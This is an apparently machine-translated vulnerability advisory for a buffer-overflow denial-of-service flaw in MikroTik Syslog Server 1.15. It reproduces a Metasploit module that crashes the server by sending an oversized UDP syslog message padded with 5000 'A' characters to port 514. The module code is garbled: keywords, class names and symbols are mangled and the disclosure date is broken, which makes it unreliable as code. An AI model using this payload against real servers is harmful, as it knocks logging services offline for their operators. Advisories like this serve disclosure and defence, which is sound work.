MikroTik Syslog Server DoS Vulnerability

Release date:
Updated on: 2013-04-30

Affected Systems:
MikroTik Syslog Server 1.15
Description:
--------------------------------------------------------------------------------
Bugtraq id: 59440
 
The MikroTik Syslog Server is the system log daemon.
 
An error occurs when MikroTik Syslog 1.15 and other versions process long syslog messages. A long System Log message overwrites the allocated buffer space, causing a socket error. This vulnerability can cause application crash.
 
<* Source: xis_one

Link: http://www.exploit-db.com/exploits/24968/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Require 'msf/core'

Class Metasploit3 <Msf: aupoliciary

Include Msf: Exploit: Remote: Udp
Include Msf: Auxiliary: Dos

Def initialize
Super (
'Name' => 'mikrotik Syslog Server for Windows-remote bof dos ',
'Description' => % q {
This module triggers the windows socket error WSAEMSGSIZE (message to long)
In the Mikrotik Syslog Server for Windows v 1.15 and crashes it.
The long syslog message overwrite the allocated buffer space causing the socket error.

},
'Author' => 'xis _ one @ STM Solutions ',
'License '=> MSF_LICENSE,
'Disclosuredate' => 'apr 19 100 ')

Register_options (
[
Opt: RPORT (1, 514)
])
End

Def run
Connect_udp
Pkt = "<0>" + "Apr19" + "10.0.0.2" + "badass" + ":" + "A" * 5000
Print_status ("Crashing the remote Mikrotik syslog server # {rhost }")
Udp_sock.put (pkt)
Disconnect_udp
End
End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
MikroTik
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.mikrotik.com/download/MT_Syslog.exe